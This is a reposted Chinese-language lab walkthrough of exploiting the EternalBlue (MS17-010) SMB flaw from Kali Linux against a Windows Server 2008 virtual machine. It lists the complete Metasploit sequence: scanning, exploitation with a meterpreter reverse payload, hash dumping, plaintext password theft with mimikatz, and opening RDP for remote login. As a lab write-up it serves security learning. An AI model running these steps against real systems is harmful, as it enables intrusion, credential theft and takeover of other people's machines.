利用虚拟机复现漏洞“永恒之蓝”
攻击:kali Linux 2020.3
靶机:Windows Server 2008 R2 x64
下面详细讲述测试的过程。
——
——
“ 永恒之蓝 ”简介
利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。
“ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。
这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。
——
——
Metasploit(MSF)简介
Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。
本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。
——
Metasploit 模块介绍
-
Auxiliary 辅助模块
为渗透信息提供了大量的辅助模块支持 -
Exploits 攻击模块
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件 -
Payload 攻击载荷模块
攻击成功后促使靶机运行的一段植入代码 -
Post 后渗透攻击模块
收集更多信息或进一步访问被利用的目标系统 -
Encoders 编码模块
将攻击载荷进行编码,来绕过防护软件拦截
——
——
测试漏洞前的准备
连接数据库
kali Linux 中自带 msf 工具。
先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。
开启数据库:
service postgresql start
postgresql 也是 kali 机里自带的。
第一次用 postgresql 的话,要进行一些设置。
先登录控制台:
sudo -u postgres psql
----------------------------------------------------------M------------------------------------------------------
这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。
----------------------------------------------------------W--------------------------------------------------------
然后
修改密码:
CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;
其中用户名 admin 和单引号中的密码 psql 根据自己写。
成功则返回 CREATE ROLE
创建新用户:
CREATE DATABASE msf OWNER admin;
成功则返回 CREATE DATABASE
设置好输入 exit 退出 postgresql 控制台即可。
接下来
开启 msf 控制台:
msfconsole
开启之后看到中间有个图案,这个是随机的,不一定是什么图案。
同时也可以看到我们 metasploit 的版本。
以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。
msf 连接 postgresql 数据库 :
db_connect admin:psql@127.0.0.1/msf
并检测是否连接上:
db_status
以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:
开启数据库:service postgresql start
开启 msf 控制台:msfconsole
连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf
--------------------------------------------------------------M---------------------------------------------------------
还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。
--------------------------------------------------------------W---------------------------------------------------------
——
msf帮助手册
输入 ? 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。
Core Commands :核心命令
Module Commands :模块命令
Job Commands:工作命令
Resource Script Command :脚本命令
Database Backend Commands :数据库命令
这就是为什么前面要开启数据库的原因。
如果没开启数据库,这些命令就用不了。
还有一些发展命令之类的,最后还有一些使用教程。
——
——
进入“永恒之蓝”模块
接下来用 search 命令搜索一下“ 永恒之蓝 ”。
search 就像搜索引擎的功能,可以根据关键字进行搜索。
命令:
search ms17-010
(ms17-010 是“ 永恒之蓝 ”的漏洞编号)
可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。
使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。
这里要用到上图中编号为 1 的模块,则使用命令为:
use 1
或
use auxiliary/scanner/smb/smb_ms17_010
可以看到这样就进入到这个模块里了。
然后用命令 options 查看我们需要设置什么。
看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。
这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。
NAMED_PIPES 路径已经设置好了。
RPORT :445端口
永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。
如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。
THREADS 线程,我们这里测试一个目标,所以一个线程就够了。
RHOSTS :目标主机的地址。
——
——
使用 msf “永恒之蓝”模块
接下来就进行攻击了。
这里用 Windows Server 2008 作为目标测试。
先用命令 ping www.baidu.com 检查一下网络。
没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。
再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。
一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。
然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:
db_nmap 192.168.226.131 -p 445 -v
扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。
——
——
auxiliary 辅助模块使用
前面的 RHOSTS 目标地址还是空的,需要进行设置一下。
这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。
然后用命令:
hosts -R
直接让这个 RHOSTS 指向了这个地址。
或者用 set 命令:
set rhost 192.168.226.131
用 iptions 命令验证一下,看到已经设置成功了。
准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。
可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。
——
——
expolit 攻击模块使用
到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。
接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。
使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。
如果没有自动设置 payload 的话,需要手动设置一下。
使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。
进行筛选,定位到 Windows 64 位操作系统;
如果有 meterpreter 就选择这个,功能比较强大;
然后 payload 后面的连接方式,这里选择 tcp 的。
选择好之后,进行设置 payload :
set payload windows/x64/meterpreter
然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。
有目标地址、目标端口、本地地址等信息。
同样用 hosts -R 设置目标地址。
看哪里没设置好就设置哪里。
比如如果这里本地地址是空的,就用命令设置 LHOST :
set lhost 192.168.226.128
设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。
这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。
目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。
为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。
——
——
攻击成功后的命令测试
查看权限
可以看看我们当前在目标机器的权限:
getuid
可以看到已经是 system 系统权限了。
可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。
试试进入 shell 。
可以看到执行之后的样子,很熟悉:C:\Windows\system32>
就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。
(编码导致的中文乱码可忽略)
看看此时的权限,同样是 system 系统权限。
用 exit 命令退出回到 meterpreter 。
输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。
——
——
获取目标用户密码
比如这里用帮助文档中的 hashdump 命令查看目标的密码。
密码可以用 md5 在线解码网址解出来。
如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:
load mimikatz
加载成功后使用命令 wdigest 直接读取密码。
可以看到读取到了用户名为 Administrator 的密码为 2008Server 。
这个的确是我在目标机器上设置的密码。
同时也可以看到这条命令的执行是需要 system 系统权限的。
——
——
远程连接测试
有了用户名和密码就可以直接登录到目标的服务器了。
这里测试一下用远程连接服务登录。
先看看远程连接服务的端口是否开放。
db_nmap 192.168.226.131 -p 3389
看到 3389 端口是关闭的。
如果忘记具体改端口的命令,用关键字搜索一下。
使用命令 use ‘编号’ 进入这个模块;
命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令)
命令 set session 1 设置。
命令 run 执行这个刚刚进入开端口的模块。
执行后再看看 3389 端口已经开放了。
选择就可以进行远程登录了,这里我新开一个命令行。
输入:
rdesktop 192.168.226.131
输入 yes ,就打开了远程连接的窗口。
用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。
同时,本来处于登录状态的目标也被挤下线了。
我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。
--------------------------------------------------------------M---------------------------------------------------------
background 命令
可以用 background 命令让当前命令在后台,刚才的会话会保存下来。
用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。
--------------------------------------------------------------W---------------------------------------------------------
到这里,进行漏洞攻击的测试就结束了!
总结:有些坑不得不踩!
转载:https://blog.csdn.net/Goodric/article/details/116561100